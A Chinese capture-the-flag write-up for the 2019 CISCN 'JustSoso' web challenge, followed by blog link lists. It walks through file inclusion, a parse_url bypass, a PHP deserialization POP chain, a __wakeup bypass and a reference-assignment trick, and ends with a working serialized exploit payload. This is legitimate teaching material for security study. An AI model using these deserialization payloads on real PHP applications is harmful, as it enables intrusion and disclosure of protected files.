0x01 JustSoso

parse_url的解析漏洞
_wakeup()绕过
序列化pop链的构造
php引用赋值

打开页面后查看源代码:

提示为本地文件包含漏洞,查看index.php和hint.php.

index.php:

<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  $url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);foreach($query as $value){if (preg_match("/flag/",$value)) { die('stop hacking!');exit();}}$payload = unserialize($payload);
}else{ echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
  • 两个参数file和payload
  • file中正则匹配不能出现flag.
  • payload中将url分解成一些变量,$url[‘query’]就是?后面的参数和内容,也不能出现flag。
  • 验证后会文件包含file和反序列化payload内容。

hint.php

<?php
class Handle{       private $handle;        public function __wakeup(){foreach(get_object_vars($this) as $k => $v) {$this->$k = null;         }          echo "Waking upn";      }public function __construct($handle) {           $this->handle = $handle;       }    public function __destruct(){    $this->handle->getFlag();   }
}
class Flag{      public $file;      public $token;      public $token_flag;         function __construct($file){    $this->file = $file;    $this->token_flag = $this->token = md5(rand(1,10000));      }         public function getFlag(){    $this->token_flag = md5(rand(1,10000));          if($this->token === $this->token_flag){     if(isset($this->file)){      echo @highlight_file($this->file,true);               }            }      }
}
?>
  • 首先,index.php中的parse_url对参数进行验证是可以绕过的。这里用到parse_url的解析漏洞
    parse_url漏洞参考
  • 所以在index.php?file=&payload=改为index.php//?file=&payload=会把后面的query内容当作host内容。
  • 然后利用hint.php的类进行反序列化。

首先分析handle类:

class Handle{       private $handle;        public function __wakeup(){foreach(get_object_vars($this) as $k => $v) {$this->$k = null;         }          echo "Waking upn";      }public function __construct($handle) {           $this->handle = $handle;       }    public function __destruct(){    $this->handle->getFlag();   }
}
  • 当它实例化的时候会自动调用_construct(),我们可以让$handle赋值为一个实例化的Flag(),这样在类销毁的时候,会自动调用_destruct(),从而运行getFlag().
  • 注意的就是需要绕过_wakeup(),因为它会把赋值的$handle内容清空。
    _wakeup()绕过的方法

然后看一下Flag类:

class Flag{      public $file;      public $token;      public $token_flag;         function __construct($file){    $this->file = $file;    $this->token_flag = $this->token = md5(rand(1,10000));      }         public function getFlag(){    $this->token_flag = md5(rand(1,10000));          if($this->token === $this->token_flag){     if(isset($this->file)){      echo @highlight_file($this->file,true);               }            }      }
}

可以实例化一个Flag(),给其中的file赋值为flag.php。

构造pop链
1,构造一个Flag类型得变量,传入参数为flag.php => $b = new Flag(“flag.php”);
2, 构造一个Handle类型得变量,使内部$handle指向$b,这样__destruct时就行触发执行getFlag函数。=>$a = new Handle($b);

  • payload
<?php
class Handle{private $handle;public function __construct($handle) {$this->handle = $handle;}
}class Flag{public $file;public $token;public $token_flag;function __construct($file){$this->file = $file;//$this->token_flag = $this->token = md5(rand(1,10000));}
}
$a = new Flag("flag.php");
$b = new Handle($a);
echo serialize($b);
?>
  • 得到构造的序列化列:
    O:6:"Handle":1:{s:14:" Handle handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";N;}}
  • 为了绕过_wakeup,需要将Handle中属性的数量改变即可.如把1改为2.
    O:6:"Handle":2:{s:14:" Handle handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";N;}}
  • 然后最后一点,面对Flag类:
function __construct($file){    $this->file = $file;    $this->token_flag = $this->token = md5(rand(1,10000));      }         public function getFlag(){    $this->token_flag = md5(rand(1,10000));          if($this->token === $this->token_flag){     if(isset($this->file)){      echo @highlight_file($this->file,true);               }            }      }

它在创建的时候就会提前
$this->token_flag = $this->token = md5(rand(1,10000))
给token和token_flag赋值,然后在调用getFlag()函数的时候,又会给token_flag赋值,然后判断token和token_flag是否相等。 这里可以使用php的引用赋值来绕过。

原理:
a=1;
b=&a;
a=a+1;
那末最后b得值也会变为2,因为b是引用赋值。

所以,最后加上:

$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);
  • 最终的payload为:
<?php
class Handle{       private $handle;        public function __wakeup(){foreach(get_object_vars($this) as $k => $v) {$this->$k = null;         }          echo "Waking upn";      }public function __construct($handle) {           $this->handle = $handle;       }    public function __destruct(){    $this->handle->getFlag();   }
}
class Flag{      public $file;      public $token;      public $token_flag;         function __construct($file){    $this->file = $file;    $this->token_flag = $this->token = md5(rand(1,10000));      }         public function getFlag(){       if(isset($this->file)){      echo @highlight_file($this->file,true);               }            }
}$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);
echo(serialize($a));
?>

生成:
O:6:"Handle":1:{s:14:" Handle handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"44ac09ac6a149136a4102ee4b4103ae6";s:10:"token_flag";R:4;}}
其中Handle handle本来长度为12,但前面是14,因为当成员属性为private时,在序列化后,Handle字串前后会各有一个0x00。
0x00的url编码为%00,加上需要绕过_wakeup的方法,因此我们传参时要进行编码,最终payload为:
......//?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"44ac09ac6a149136a4102ee4b4103ae6";s:10:"token_flag";R:4;}}
最终:

2019全国大学生信息安全竞赛—Web相关推荐

  1. 大学生HTML5竞赛网站,2019全国大学生信息安全竞赛Web Writeup

    这次web题真切得让我感受到了我得辣鸡 顿时被打了鸡血 最后只做出来一题,但是有两道题都是马上要出来了最后时间不够 ,这里总结一下 web1 JustSoso 打开之后是这样得 右键查看源码 提示需要 ...

  2. 2019全国大学生信息安全竞赛 web JustSoso(parse_url解析漏洞+序列化)

    0x00 这道题是刚好在网上看到的,感觉跟moctf里有一道PUBG,还有bugku里的一道welcome to bugkuctf都很像,但又有些区别,所以就学习学习. 参考自:https://www ...

  3. 2019全国大学生信息安全竞赛初赛writeup

    part_des 题目描述 Round n part_encode-> 0x92d915250119e12b Key map -> 0xe0be661032d5f0b676f82095e4 ...

  4. 突出计算机学院的比赛名,学院在2019年全国大学生信息安全竞赛安徽省赛中喜获佳绩...

    由安徽省教育厅主办的全国大学生信息安全竞赛安徽省赛,共设安徽省大学生网络攻防赛和安徽省大学生信息安全作品赛两项分赛事.学院由计算机学院组织多个团队参赛,分别获得2019年安徽省大学生网络攻防赛一等奖一 ...

  5. 第十三届全国大学生信息安全竞赛(线上初赛)

    第十三届全国大学生信息安全竞赛(线上初赛) 干啥啥不行,混子第一名,全靠躺,,,,,队友带飞! WEB easyphp 打开题目拿到源码: 根据题目的描述,让进程异常退出,进入到phpinfo中 pa ...

  6. 计算机网络空间安全大赛报道,网络空间安全学院成功举办第十三届全国大学生信息安全竞赛线上宣讲会...

    3月28日晚,网络空间安全学院召开2020年第十三届全国大学生信息安全竞赛宣讲会.本次线上宣讲会由学院副院长刘志强指导,张慧翔和邰瑜组织.网络空间安全学院.自动化学院.计算机学院.软件学院等约70名本 ...

  7. 计算机弹奏卡布奇诺,计算机学院信息安全技术协会卡布奇诺加糖队在第十二届全国大学生信息安全竞赛中喜获佳绩...

    7月27号,第十二届全国大学生信息安全竞赛--创新实践能力赛在电子科技大学圆满结束.我校信息安全技术协会卡布奇诺实验室派出2支队伍参加本次竞赛,并在指导老师刘朝晖的精心指导下获得全国三等奖的好成绩. ...

  8. 赛宁首创革新赛制助力人才培养 | 第十六届全国大学生信息安全竞赛-创新实践能力赛全面启动!

    ​​为积极响应国家网络空间安全人才战略,加快攻防兼备创新人才培养步伐,实现以赛促学.以赛促教.以赛促用,推动网络空间安全人才培养和产学研用生态发展,由国防科技大学与中国科学技术大学联合承办的第十六届全 ...

  9. re学习笔记(101)i春秋 全国大学生信息安全竞赛 计时挑战

    本文首发于 i春秋公众号 巧用Frida与Unidbg快速在CTF中解题 题目名称:计时挑战,你能当人肉计时器么? 题目下载地址:https://pan.baidu.com/s/11BcKF6LTWQ ...

最新文章

  1. android连接不上socket,关于socket通信的android与pc端连接,为什么我定义的socket是为空的,连接不上pc端...
  2. c语言把一个数组赋值给另一个数组_如何把一个固定数组的值传递给另外一个数组...
  3. UVa10795 - A Different Task
  4. F4IF_INT_TABLE_VALUE_REQUEST如何返回多于一个列
  5. android 发送重启广播,Android实现关机重启的方法分享
  6. MyBatis 源码解读-XMLConfigBuilder
  7. 持续集成实验个人总结
  8. FFmpeg学习(12)——视频转码技巧之二次编码
  9. python3.6安装pyspider
  10. 全球系留无人机系统行业调研及趋势分析报告
  11. UE4影视特效学习资源整理
  12. (转)淘淘商城系列——SSM框架整合之表现层整合
  13. php开发人脸识别的步骤,人脸识别的流程及主要技术
  14. 博客园签名档图片圆角美化
  15. 谁说程序员过了35岁之后就要去“送外卖”、“跑滴滴”?这几种发展走向照样解除焦虑
  16. python与r语言处理excel数据_R语言 | 读写txt、csv、excel文件
  17. 大数据时代,做大数据开发要学Java框架吗?
  18. 刷步数作弊成了朋友圈必备技能
  19. 计算机整体工作计划,信息技术工作计划
  20. uni-app使用canvas生成图片并保存到相册

热门文章

  1. 修改VirtualBox上的macOS屏幕分辨率1920*1080,virtualbox5.2版本方法
  2. android5.1 淘汰,大S被淘汰! 上1:5油短卡LOSI 5T开箱
  3. Slack 开发入门之 Incoming Webhooks:往 Slack 的 Channel 中发消息
  4. “人工智能”•从入门到入土 –导言
  5. python反向切片_python切片
  6. MATLAB中实现特定像素区域处理
  7. 【我们都爱Paul Hegarty】斯坦福IOS8公开课个人笔记39 AlertActionSheet
  8. 【已解决】LaTeX 调整段落之间的间距 (包含:只调整某一个section或者subsection中的段落间距)
  9. 目标检测中anchor的概念
  10. CREO:CREO软件之零件【渲染】之对三维零件实现渲染图文教程之详细攻略